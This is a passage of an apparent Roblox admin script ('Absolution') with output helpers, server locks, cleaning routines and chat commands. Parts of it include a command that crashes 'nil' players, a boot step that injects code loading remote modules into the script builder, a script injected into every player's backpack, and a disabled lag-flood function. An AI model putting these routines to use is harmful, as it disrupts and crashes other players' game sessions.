		for i,v in pairs(game:GetService('Players'):children())do
2483
		   local data = Instance.new('StringValue',v)
2484
		   data.Name = 'SB_Chat'
2485
		   data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
2486
		end
2487
	end
2488
end 
2489
Absolution.Functions.sbOutput = function(msg, typ, plr)
2490
	if not type(msg)=='string'then return end
2491
	msg=(msg and msg or 'nil')
2492
	typ=(typ and typ or 'Print')
2493
	if plr then
2494
2495
	--[[if type(plr)=='userdata'then
2496
		   local data = Instance.new('StringValue',plr)
2497
		   data.Name = 'SB_Output:Output'
2498
		   data.Value = '["'..typ..'","'..msg..'"]'
2499
		   Absolution.Functions.Out(plr, msg, 5)
2500
		elseif type(plr)=='string'then
2501
			plr = game:GetService('Players'):FindFirstChild(plr)
2502
			local data = Instance.new('StringValue',plr)
2503
			data.Name = 'SB_Output:Output'
2504
			data.Value = '["'..typ..'","'..msg..'"]'
2505
		end--]]
2506
		Absolution.Functions.Out(plr, msg, 5)
2507
	else
2508
	Absolution.Functions.Out('All', msg, 5)
2509
		--[[for i,v in pairs(game:GetService('Players'):children())do
2510
		
2511
		   local data = Instance.new('StringValue',v)
2512
		   data.Name = 'SB_Output:Output'
2513
		   data.Value = '["'..typ..'","'..msg..'"]'
2514
		end--]]
2515
	end
2516
	print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
2517
end
2518
2519
Absolution.Functions.osbOutput = function(msg, typ, plr)
2520
	if not type(msg)=='string'then return end
2521
	msg=(msg and msg or 'nil')
2522
	typ=(typ and typ or 'Print')
2523
	if plr then
2524
	if type(plr)=='userdata'then
2525
		   local data = Instance.new('StringValue',plr)
2526
		   data.Name = 'SB_Output:Output'
2527
		   data.Value = '["'..typ..'","'..msg..'"]'
2528
		   Absolution.Functions.Out(plr, msg, 5)
2529
		elseif type(plr)=='string'then
2530
			plr = game:GetService('Players'):FindFirstChild(plr)
2531
			local data = Instance.new('StringValue',plr)
2532
			data.Name = 'SB_Output:Output'
2533
			data.Value = '["'..typ..'","'..msg..'"]'
2534
		end
2535
	else
2536
		for i,v in pairs(game:GetService('Players'):children())do
2537
		   local data = Instance.new('StringValue',v)
2538
		   data.Name = 'SB_Output:Output'
2539
		   data.Value = '["'..typ..'","'..msg..'"]'
2540
		end
2541
	end
2542
	print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
2543
end
2544
2545
Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image)
2546
	local index = tonumber(#Absolution.Tablets)+1
2547
	Absolution.Tablets[index] = {Func=Function}
2548
	Absolution.Handler:sendPacket(Player, 'Tablets', {Msg=Msg, Color=Color, Time=Time, Image=Image, Index=index});
2549
end
2550
2551
Absolution.Functions.SendGui = function(Player, Message, Type)
2552
	if not Type then local Type = 1 end
2553
	if not Message then local Message = 'undefined' end
2554
	Absolution.Handler:sendPacket(Player, 'Output', {Message, Type})
2555
end
2556
2557
Absolution.Functions.Out = function(Player, Message, Type)
2558
local tab;
2559
	if type(Player) == "userdata" then
2560
		local thread = coroutine.create(function()
2561
			tab = Absolution.Functions.SendGui(Player, Message, Type)
2562
		end)
2563
		coroutine.resume(thread)
2564
	elseif type(Player) == "table" then
2565
		for _,v in pairs(Player) do
2566
			local thread = coroutine.create(function()
2567
				tab = Absolution.Functions.SendGui(v, Message, Type)
2568
			end)
2569
			coroutine.resume(thread)
2570
		end
2571
	elseif type(Player) == "string" then
2572
		if Player:lower() == "all" then
2573
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2574
				local thread = coroutine.create(function()
2575
					tab = Absolution.Functions.SendGui(v, Message, Type)
2576
				end)
2577
				coroutine.resume(thread)
2578
			end
2579
		elseif Player:lower() == "admins" then
2580
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2581
				if Absolution.Functions:findRank(v) >= 1 then
2582
					local thread = coroutine.create(function()
2583
						tab = Absolution.Functions.SendGui(v, Message, Type)
2584
					end)
2585
					coroutine.resume(thread)
2586
				end
2587
			end
2588
		end
2589
	end
2590
	return tab
2591
end
2592
2593
Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image)
2594
local tab;
2595
	if type(Player) == "userdata" then
2596
		local thread = coroutine.create(function()
2597
			tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image)
2598
		end)
2599
		coroutine.resume(thread)
2600
	elseif type(Player) == "table" then
2601
		for _,v in pairs(Player) do
2602
			local thread = coroutine.create(function()
2603
				tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
2604
			end)
2605
			coroutine.resume(thread)
2606
		end
2607
	elseif type(Player) == "string" then
2608
		if Player:lower() == "all" then
2609
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2610
				local thread = coroutine.create(function()
2611
					tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
2612
				end)
2613
				coroutine.resume(thread)
2614
			end
2615
		elseif Player:lower() == "admins" then
2616
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2617
				if Absolution.Functions:findRank(v) >= 1 then
2618
					local thread = coroutine.create(function()
2619
						tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
2620
					end)
2621
					coroutine.resume(thread)
2622
				end
2623
			end
2624
		end
2625
	end
2626
	return tab
2627
end
2628
2629
-- IRCCommandHandler --
2630
Absolution.Functions.IRCCommandParser = function()
2631
2632
end
2633
2634
-- Locking Scripts --
2635
Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object)
2636
if not Absolution then return end
2637
	if Absolution.Locks.Server.Server == true then
2638
		if Object.className == "Script" then
2639
			local ObjectName = Object.Name
2640
			Object.Disabled = true
2641
			Object:Destroy()
2642
		end
2643
	end
2644
end)
2645
Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object)
2646
	if not Absolution then return end
2647
	if Absolution.Locks.Server.Local == true then
2648
		if Object.className == "BaseScript" then
2649
			local ObjectName = Object.Name
2650
			repeat Object.Disabled = true until Object:Destroy()
2651
		end
2652
	end
2653
end)
2654
2655
2656
-- Replicators --
2657
Absolution.Functions.GetReplicators=function(clear)
2658
	local rep={};
2659
	for _,v in next,game:service'NetworkServer':children()do
2660
		if(v:isA'ServerReplicator')then
2661
			table.insert(rep,v);
2662
		else
2663
			if(clear)then
2664
				pcall(function()v:Destroy()end);
2665
			end;
2666
		end;
2667
	end;
2668
	return rep;
2669
end;
2670
2671
2672
-- Startup --
2673
Absolution.Functions.Boot = function()
2674
if Absolution.Booted then error'script already loaded...' return end
2675
Absolution.Booted = true
2676
local function bootMod(Mod, Msg, ...)
2677
local start_boot = tick()
2678
Absolution.Functions.osbOutput(Msg..'...', 'Run')
2679
local args = {...}
2680
local Success, Error = ypcall(Mod)
2681
local end_boot = tick()
2682
if Success then
2683
Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
2684
else
2685
Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
2686
end
2687
end
2688
2689
bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
2690
bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks')
2691
bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
2692
bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua')
2693
bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync')
2694
if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord') 
2695
--[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]]
2696
end
2697
bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.')  end if Absolution.Functions:findRank(p.Name) >= 4 then   Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
2698
bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection')
2699
bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection')
2700
bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut()  end end, 'onClose Connection')
2701
bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module')
2702
--bootMod(Absolution.PluginManager.Launch, 'Loading plugins')
2703
if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
2704
--bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE')
2705
bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players')
2706
Absolution.Functions.osbOutput('Absolution Loaded!','Note')
2707
end
2708
2709
-- Cleaning And Stuff :) --
2710
Absolution.Functions.CreateBase = function()
2711
	for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
2712
		if v.Name:lower():find('base') and v:IsA('BasePart') then
2713
			v:remove()
2714
		end
2715
	end
2716
	local Base = Instance.new("Part")
2717
	Base.BrickColor = BrickColor.new("Dark green")
2718
	Base.CFrame = CFrame.new(0, 0.6, 0)
2719
	Base.Transparency = 0
2720
	Base.Elasticity = 0.5
2721
	--Base.FormFactor = "Custom"
2722
	Base.Material = 'Grass'
2723
	Base.CanCollide = true
2724
	Base.Friction = 0.30000001192093
2725
	Base.Size = Vector3.new(2044, 0, 2044)
2726
	Base.Archivable = true
2727
	Base.Material = "Grass"
2728
	Base.RotVelocity = Vector3.new(0, 0, 0)
2729
	Base.Reflectance = 0
2730
	Base.Locked = true
2731
	Base.Anchored = true
2732
	Base.Name = "Base"
2733
	Base.TopSurface = "Smooth"
2734
	Base.BottomSurface = "Inlet"
2735
	Base.Shape = "Block"
2736
	Base.Parent = Absolution.Services.Workspace.Terrain
2737
end
2738
2739
Absolution.Functions.CleanWorkspace = function()
2740
	for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do  
2741
		if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then  
2742
			if s.className ~= "Terrain" then 
2743
				if s.className ~= "Camera" then  
2744
					pcall(function() s:Destroy() end)
2745
				end 
2746
			end 
2747
		end
2748
	end
2749
	for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
2750
		if v:IsA("Terrain") then
2751
			v:Clear()
2752
		end
2753
	end
2754
	for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do
2755
		pcall(function()
2756
			v:Destroy''
2757
		end)
2758
	end
2759
	Absolution.Functions.CreateBase()
2760
end
2761
Absolution.Functions.FullClean = function()
2762
	local Child = {}
2763
	local GetAllChildren = function(c)
2764
		for _,v in pairs(c:GetChildren()) do
2765
			ypcall(function()
2766
				GetAllChildren(v)
2767
				table.insert(Child, v)
2768
			end)
2769
		end
2770
	end
2771
	for _,v in pairs(Absolution.Services.Game:GetChildren()) do
2772
		ypcall(function()
2773
			GetAllChildren(v)
2774
		end)
2775
	end
2776
	for _,v in pairs(Child) do
2777
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
2778
			v:remove()
2779
		end
2780
	end
2781
	Absolution.Functions.CleanWorkspace()
2782
	Absolution.Functions.Debug()
2783
	for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2784
		v:LoadCharacter()
2785
	end
2786
end
2787
Absolution.Functions.Debug = function()
2788
	ypcall(function()
2789
		for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
2790
			if v:IsA('Message') or v:IsA('Hint') then
2791
				ypcall(function()
2792
					v.Text = ''
2793
					v:Destroy()
2794
				end)
2795
			end
2796
			if v:IsA('Terrain') then
2797
				v:Clear()
2798
			end
2799
		end
2800
		Absolution.Services.Lighting.GlobalShadows = true
2801
		Absolution.Services.Lighting.TimeOfDay = '14:00:00'
2802
		Absolution.Services.Lighting.Brightness = 0.3
2803
		Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
2804
		Absolution.Services.Lighting.Ambient = Color3.new(1,1,1) 
2805
		Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
2806
		Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
2807
		Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
2808
		Absolution.Services.Lighting.FogStart = 0
2809
		Absolution.Services.Lighting.FogEnd = 100000
2810
		Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
2811
		Absolution.Services.Lighting:ClearAllChildren()
2812
		Absolution.Services.Teams:ClearAllChildren()
2813
		for _,v in pairs(Absolution.Services.Players:getPlayers()) do
2814
			v.Neutral = true 
2815
		end
2816
	end)
2817
end
2818
2819
-- Status Announce -- 
2820
Absolution.Functions.Announce = function(msg,fs)
2821
Absolution.Functions.Out('All', msg, 5)
2822
--Absolution.DCTAPI.sendMessage('Announce: '..msg)
2823
	if fs == true then
2824
		for i,v in pairs(Absolution.Services.Players:getPlayers()) do
2825
			if v:findFirstChild("PlayerGui") then
2826
				local sg = Instance.new("ScreenGui", v.PlayerGui)
2827
				sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999)
2828
				local fr = Instance.new("Frame", sg)
2829
				fr.Name = "Main"
2830
				fr.Size = UDim2.new(0, 0, 0, 0)
2831
				fr.Position = UDim2.new(0, 0, 0, 0)
2832
				fr.BackgroundTransparency = 0.7
2833
				fr.BackgroundColor3 = Color3.new(-1,-1,-1)
2834
				fr.BorderColor3 = Color3.new(1,1,1)
2835
				local tl = Instance.new("TextLabel", fr)
2836
				tl.Size = UDim2.new(1, 0, 1, 0)
2837
				tl.BackgroundTransparency = 1
2838
				tl.TextColor3 = Color3.new(1,1,1)
2839
				tl.FontSize = "Size24"
2840
				tl.Font = 'SourceSansLight'
2841
				tl.Text = string.gsub(msg, "", "")
2842
				tl.Name = "Text"
2843
				tl.TextTransparency = 0
2844
				pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
2845
				fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
2846
				coroutine.resume(coroutine.create(function()
2847
					wait(8)
2848
					fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
2849
					tl:remove()
2850
				end))
2851
			end 
2852
		end
2853
	else
2854
		local sg
2855
		local function GetNumAlerts(Par)
2856
			local Num = 0
2857
			if Par == nil then return 0 end
2858
			for i, Obj in pairs(Par:GetChildren()) do
2859
			   if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
2860
					Num = Num + 1
2861
			   end
2862
			end
2863
			return Num
2864
		end
2865
		for i,v in pairs(Absolution.Services.Players:getPlayers()) do
2866
			if v:findFirstChild("PlayerGui") then
2867
				sg = Instance.new("ScreenGui", v.PlayerGui)
2868
				sg.Name = "Absolution ScreenGui Hint "..math.random(999999)
2869
				local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
2870
				local fr = Instance.new("Frame", sg)
2871
				fr.Name = "Main"
2872
				fr.Size = UDim2.new(1, 0, 0.025, 0)
2873
				fr.Position = UDim2.new(-1, 0, num, 0)
2874
				fr.BackgroundTransparency = 0.5
2875
				fr.BackgroundColor3 = Color3.new(1, 1, 1)
2876
				fr.BorderColor3 = Color3.new(0, 0, 0)
2877
				local tl = Instance.new("TextLabel", fr)
2878
				tl.Size = UDim2.new(1, 0, 1, 0)
2879
				tl.BackgroundTransparency = 1
2880
				tl.TextColor3 = Color3.new(-1,-1,-1)
2881
				tl.Font	= "SourceSansLight"
2882
				tl.FontSize = "Size18"
2883
				tl.Text = string.gsub(msg, "", "")
2884
				tl.Name = "Text"
2885
				tl.TextTransparency = 0
2886
				pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
2887
				fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5)
2888
				coroutine.resume(coroutine.create(function()
2889
					wait(8)
2890
					pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end)
2891
					tl:remove()
2892
				end))
2893
			end 
2894
		end
2895
	end
2896
end
2897
2898
-- deprecated
2899
--[[ 
2900
-- Lag -- 
2901
Absolution.Functions.Lag = function(plr)
2902
	if not plr then return error'no player defined' end
2903
	for i = 1,2800000 do
2904
		Instance.new('Message',plr)
2905
	end
2906
end
2907
--]]
2908
2909
-- Blacklist --
2910
Absolution.Functions.checkBlackList = function(Plr)
2911
	for i,v in pairs(Absolution.injectBlacklist) do 
2912
		if v.ID==Plr.userId then 
2913
			return true,v 
2914
		end 
2915
	return false,{} 
2916
	end
2917
end
2918
2919
-- GroupRank --
2920
Absolution.Functions.calculateRankInGroup = function(playerObj)
2921
	local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID)
2922
2923
	local matchTable = Absolution.GroupData.GroupRanks
2924
2925
	for defrank, groupranks in pairs(matchTable) do
2926
2927
		for nildata, rank in pairs(groupranks) do
2928
2929
			if groupRank==rank and defrank>0 then
2930
2931
				return defrank
2932
2933
			end
2934
		end
2935
2936
	end
2937
	
2938
return -1
2939
end
2940
2941
-- ConnectPlayer --
2942
Absolution.Functions.ConnectPlayer = function(self, Player)
2943
	local playerName = Player.Name
2944
	if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end
2945
	local playerData = Absolution.Functions.getRankedTable(playerName)
2946
	if not playerData.Bet then playerData.Bet = '/' end
2947
	local blackList,blTable = Absolution.Functions.checkBlackList(Player)
2948
	if blackList and game.PlaceId ~= 20279777 then 
2949
		return
2950
	end
2951
	local cRank = Absolution.Functions.calculateRankInGroup(Player)
2952
	
2953
	local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
2954
	
2955
	Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))
2956
2957
	Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')
2958
2959
	if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
2960
2961
	if game.PlaceId ~= 21053279 then
2962
	--game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)	
2963
	end
2964
	Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q)
2965
	Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object)
2966
		if Absolution.Locks.Server.Local == true then
2967
		if playerData.Rank >= 2 then return end
2968
		if Object:IsA("BaseScript") then
2969
		local ObjectName = Object.Name
2970
		repeat Object.Disabled = true wait() until Object:Destroy()
2971
		end
2972
		end
2973
	end)
2974
	end)
2975
	if not Player.Character then Player.Character = Instance.new'Model' end
2976
	Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object)
2977
		if Absolution.Locks.Server.Local == true then
2978
		if playerData.Rank >= 2 then return end
2979
		if Object:IsA("BaseScript") then
2980
		local ObjectName = Object.Name
2981
		repeat Object.Disabled = true wait() until Object:Destroy()
2982
		end
2983
		end
2984
	end)
2985
	Player.ChildAdded:connect(function(a)
2986
		if a:IsA('StringValue') then
2987
			for i,v in pairs(Absolution.Nicknames) do
2988
				if a.Value:find(i) then
2989
					a.Value = a.Value:gsub(i, v)
2990
				end
2991
			end
2992
		end
2993
	end)
2994
	if Player.AccountAge < 30 then
2995
		if Absolution.Functions:findRank(Player) < 0.5 then
2996
			Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days")
2997
			Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
2998
		end
2999
	end
3000
	if Absolution.PrivateServer.Enabled then
3001
		if Absolution.Functions:findRank(Player) < 0.5 then
3002
			Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.")
3003
			Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
3004
		end
3005
	end
3006
	if Absolution.PrivateServer.GroupLock then
3007
		if not Player:IsInGroup(Absolution.GroupData.GroupID) then
3008
			Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
3009
			Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
3010
		end
3011
	end
3012
	if Absolution.Locks.Server.Locked then
3013
		if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then
3014
			Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
3015
			Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
3016
		end
3017
	end
3018
end
3019
3020
-- Commands --
3021
-- Rank 0 --
3022
Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
3023
	if Absolution.Functions.GetSplit(Msg) == "n" then
3024
		Absolution.Functions.Dismiss(Speaker)
3025
		local Number_Of_Nils = 0
3026
		for _,v in pairs(Absolution.Functions.getALLPlayers()) do
3027
			if v.Parent ~= Absolution.Services.Players then
3028
				Number_Of_Nils = Number_Of_Nils + 1
3029
				Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function()
3030
					Absolution.Functions.Dismiss(Speaker)
3031
					local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
3032
					coroutine.resume(coroutine.create(function()
3033
						wait(0.5)
3034
						if dc then
3035
							Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
3036
						else
3037
							Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
3038
						end
3039
					end))
3040
				end)
3041
			end
3042
		end
3043
		if Number_Of_Nils == 0 then
3044
			return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
3045
		end
3046
		Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
3047
		Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function()
3048
			for _,v in pairs(Absolution.Functions.getALLPlayers()) do
3049
				if v.Parent ~= Absolution.Services.Players then
3050
					local x = Instance.new("Model", Absolution.Services.Workspace)
3051
					local y = Instance.new("Part", x)
3052
					y.Transparency = 1
3053
					y.CanCollide = false
3054
					y.Anchored = true
3055
					y.Name = "Torso"
3056
					y.Position = Vector3.new(10000,10000,10000)
3057
					local z = Instance.new("Humanoid",x)
3058
					z.Torso = y
3059
					v.Character = x
3060
					Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
3061
				end
3062
			end
3063
		end)
3064
		Absolution.Functions.Output(Speaker, "Dismiss")
3065
	else
3066
		Absolution.Functions.ShowPlayers(Speaker)
3067
	end
3068
	Absolution.Functions.Out(Speaker, 'Got Players.', 5)
3069
end)
3070
Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
3071
	if Absolution.Functions.GetSplit(Msg) == "a" then
3072
		Absolution.Functions.Dismiss(Speaker)
3073
		Msg = Msg:gsub("-a", "")
3074
		for i = 1, 6 do
3075
			Absolution.Functions.Output(Speaker, "AFK")
3076
		end
3077
		Absolution.Functions.Output(Speaker, "Dismiss")
3078
	elseif Absolution.Functions.GetSplit(Msg) == "s" then
3079
		Msg = Msg:gsub("-s", "")
3080
		local Split = Msg:find('/')
3081
		local Message = Msg:sub(1, Split - 1)
3082
		local Amount = Msg:sub(Split + 1)
3083
		if tonumber(Amount) > 20 then
3084
		Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red")
3085
		Amount = 0
3086
		end
3087
		Absolution.Functions.Dismiss(Speaker)
3088
		for i = 1, Amount do
3089
			Absolution.Functions.Output(Speaker, Message, "Random")
3090
		end
3091
	else
3092
		if #Msg == 0 then Msg = "Pong!" end
3093
		Msg = string.gsub(Msg, "", "")
3094
		Absolution.Functions.Output(Speaker, Msg, "Random")
3095
		Absolution.Functions.Out(Speaker, Msg, 1)
3096
	end
3097
end)
3098
Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
3099
	if Absolution.Functions.GetSplit(Msg) == "p" then
3100
		if Absolution.Functions:findRank(Speaker) >= 4 then
3101
			Msg = Msg:gsub("-p", "")
3102
			local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3103
			if #Players > 0 then
3104
				for _,v in pairs(Players) do
3105
					ypcall(function()
3106
						Absolution.Functions.Dismiss(v)
3107
						Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5)
3108
					end)
3109
				end
3110
			end
3111
		else
3112
			Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4)		
3113
		end
3114
	else 
3115
		Absolution.Functions.Dismiss(Speaker)
3116
		Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5)
3117
	end
3118
end)
3119
Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
3120
	if Msg:lower()=='off' then
3121
		Absolution.Functions.SetIgnore(Speaker.Name)
3122
	elseif Msg:lower()=='on' then
3123
		Absolution.Functions.StopIgnore(Speaker.Name)
3124
	end
3125
Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5)
3126
end)
3127
Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
3128
	local Split = Msg:find("/")
3129
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3130
	local Message = Msg:sub(Split + 1)
3131
	if #Player > 0 then
3132
		for _,v in pairs(Player) do
3133
			if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then
3134
				Absolution.Functions.onChatted(v, Message)
3135
			end
3136
		end
3137
	end
3138
end)
3139
Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
3140
	Absolution.Functions.Dismiss(Speaker)
3141
	if #Msg == 0 then
3142
		Absolution.Functions.GetRankedInterface(Speaker)
3143
	else
3144
		Msg = Msg:lower()
3145
		if #Msg < 3 then
3146
		Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red')
3147
		return 
3148
		end
3149
		local Number = 0
3150
		local Table = {}
3151
		for i,v in pairs(Absolution.Ranked) do
3152
			if i:lower():find(Msg) then
3153
				ypcall(function()
3154
					table.insert(Table, i)
3155
					Number = Number + 1
3156
				end)
3157
			end
3158
		end
3159
		if Number > 1 then
3160
			for _,v in pairs(Table) do
3161
				Absolution.Functions.Output(Speaker, v, nil, function()
3162
					Absolution.Functions.GetRankedInterface(Speaker, v)
3163
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
3164
			end
3165
		else
3166
			for _,v in pairs(Table) do
3167
				Absolution.Functions.GetRankedInterface(Speaker, v)
3168
			end
3169
		end
3170
	end
3171
	Absolution.Functions.Out(Speaker, 'Got Ranked.', 5)
3172
end)
3173
3174
Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
3175
	if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then
3176
	Absolution.Functions.OpenCmds(tonumber(Msg), Speaker)
3177
	elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then
3178
	Absolution.Functions.OpenCmds('all', Speaker)
3179
	elseif #Msg>0 and not tonumber(Msg) then
3180
	Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red')
3181
	else
3182
	Absolution.Functions.ShowCommands(Speaker)
3183
	end
3184
Absolution.Functions.Out(Speaker, 'Got Commands.', 5)
3185
end)
3186
